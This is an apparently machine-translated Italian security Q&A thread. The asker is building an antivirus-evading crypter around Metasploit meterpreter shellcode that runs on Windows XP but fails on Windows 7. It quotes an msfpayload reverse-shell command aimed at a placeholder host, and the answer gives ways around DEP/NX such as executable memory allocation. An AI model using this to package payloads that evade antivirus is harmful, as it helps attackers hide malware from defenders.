sull'esecuzione dello stack su windows 7 :: metasploit :: meterpreter :: crypter eseguibile

1
I posted this on stackoverflow, was advised to move it to security section.

Stavo scrivendo un criptaggio eseguibile come esercizio con l'obiettivo dell'evasione antivirus, ora il problema è che l'eseguibile finale non funziona su Windows 7. Funziona perfettamente su Windows XP.

Ai fini del test, ho preso il payload meterpreter di metasploit, ho esportato il suo shellcode e l'ho compilato nella mia cripta eseguibile. (Non menzionerò i dettagli del codificatore eseguibile).

Questi erano i miei passi:

  • Ho ottenuto lo shellcode esportato in un file C

    msfpayload windows / shell / reverse_tcp_dns LHOST = somewhere.com LPORT = 1234 C > shell_code.c

  • Ho preso solo lo shellcode del vettore di malware e non la DLL che si trova in cima al file, sembra che segua

    unsigned char buf []="\ xfc \ x ..........................";

  • Ho preso questo (una versione di crittografia)

Fondamentalmente dopo la decodifica / decrittografia, lo shellcode viene eseguito gettandolo in una funzione come

(*(int(*)()) buf)();

Tutto funziona come previsto in Windows XP, ma non funziona su Windows 7.

Non ho idea delle ragioni e ogni aiuto sarà apprezzato.

NOTA: Non ho Windows 7, l'ho testato sotto Windows XP (SP2) virtualizzato ...

EDIT: se aiuta, il metasploit gira su linux, l'eseguibile è stato compilato usando Express Edition VS C ++ 2008, l'eseguibile finale funziona bene su tutte le macchine Windows XP.

EDIT (1 agosto 2012): Seguendo il consiglio di @Rook, ho provato a VirtualAlloc con l'autorizzazione PAGE_EXECUTE_READWRITE e poi WriteProcessMemory, l'ultimo PE funziona solo su Windows XP (sp2) non su Windows 7.

EDIT: PE sembra funzionare correttamente con Windows 7 (Build 7601, Service Pack 1), in WOW64

    
posta user1064504 31.07.2012 - 15:24
fonte

1 risposta

0

A giudicare da questo comportamento, direi che stai usando XP prima di SP2 (dovresti averlo detto ...). Ciò significa che la regione di memoria che contiene il tuo shellcode è contrassegnata con il flag non eseguibile. Ci sono alcuni modi per aggirare DEP e il flag NX. Un metodo è evoca il tuo eseguibile con / NXCOMPAT: NO o utilizzando VirutalAlllocEx per allocare una regione di memoria questo è sia eseguibile che contiene lo shellcode.

    
risposta data 31.07.2012 - 18:33
fonte

Leggi altre domande sui tag